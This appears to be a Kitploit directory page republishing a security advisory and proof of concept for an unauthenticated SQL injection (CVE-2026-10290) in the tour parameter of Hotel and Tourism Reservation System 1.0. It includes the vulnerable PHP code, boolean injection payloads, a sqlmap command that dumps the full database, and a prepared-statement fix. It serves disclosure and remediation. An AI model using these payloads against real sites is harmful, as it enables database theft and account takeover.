Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-10290-SQLI — Proof-of-concept for unauthenticated SQL injection in Hotel and Tourism Reservation System 1.0, demonstrating database extraction via the tour parameter. | Kitploit
Tools/GitHubGitHub/xmyronn/cve-2026-10290-sqli
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationDatabase Security
GitHubxmyronn/cve-2026-10290-sqli

CVE-2026-10290-SQLI

Proof-of-concept for unauthenticated SQL injection in Hotel and Tourism Reservation System 1.0, demonstrating database extraction via the tour parameter.

View Repository
23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Hotel and Tourism Reservation System - Unauthenticated SQL Injection in tour.php

Vulnerability Details

FieldDetails
TitleHotel and Tourism Reservation System - SQL Injection via tour GET Parameter
Vendorcode-projects.org
Vendor URLhttps://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/
ProductHotel and Tourism Reservation System
Version1.0
Vulnerability TypeSQL Injection
CWECWE-89
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected File/ht/tour.php
Affected Parametertour (GET)
Authentication RequiredNo
Remote ExploitableYes
ResearcherSyed Imad Uddin Alvi

Description

A critical SQL Injection vulnerability exists in the tour GET parameter of tour.php in Hotel and Tourism Reservation System 1.0. The parameter is passed directly into a raw SQL query with no sanitization, no prepared statements, and no input validation. An unauthenticated remote attacker can manipulate the query to extract, modify, or delete any data in the database. The vulnerability was confirmed by a full database dump using sqlmap.

Vulnerable code in tour.php:

root@kitploit:~
if(isset($_GET['tour'])) {
    $tourID = $_GET['tour'];
    $select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
    $s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
    $data = mysqli_fetch_assoc($s);

$tourID is taken directly from $_GET['tour'] and interpolated into the SQL query with no sanitization whatsoever.


Steps to Reproduce

Setup: Install Hotel and Tourism Reservation System 1.0 on XAMPP and access at http://<target>/ht/

Step 1 — Visit any tour page as an unauthenticated user:

root@kitploit:~
http://<target>/ht/tour.php?tour=4
Screenshot 2026-05-12 001635

Step 2 — Inject a single quote to break the SQL query and confirm the vulnerability:

root@kitploit:~
http://<target>/ht/tour.php?tour='

Result: Fatal MySQL error is thrown — confirming unsanitized input reaches the SQL query.

Screenshot 2026-05-12 001643

Step 3 — Confirm SQLi with a boolean-based payload:

root@kitploit:~
http://<target>/ht/tour.php?tour=' or 1=1 -- -

Result: Page loads normally with tour data — boolean injection successful.

Screenshot 2026-05-12 001654

Step 4 — Dump the entire database using sqlmap:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

Result: sqlmap successfully dumps all tables in hotel_db including users, rooms, tour_reserves, gallery — full database compromise confirmed.

Screenshot 2026-05-12 001722

Impact

An unauthenticated remote attacker can:

  • Extract all data from the database including user credentials, emails, phone numbers, and reservation details
  • Bypass authentication by extracting admin credentials
  • Modify or delete any database records
  • Potentially achieve Remote Code Execution via INTO OUTFILE if file privileges are granted

Root Cause

The tour GET parameter is interpolated directly into a raw SQL query with no use of prepared statements, parameterized queries, or input sanitization:

root@kitploit:~
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");

// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();

References

  • CWE-89: Improper Neutralization of Special Elements used in an SQL Command
  • OWASP: SQL Injection
  • Hotel and Tourism Reservation System — code-projects.org

Discovered By

Syed Imad Uddin Alvi — Independent Security Researcher

Download Tool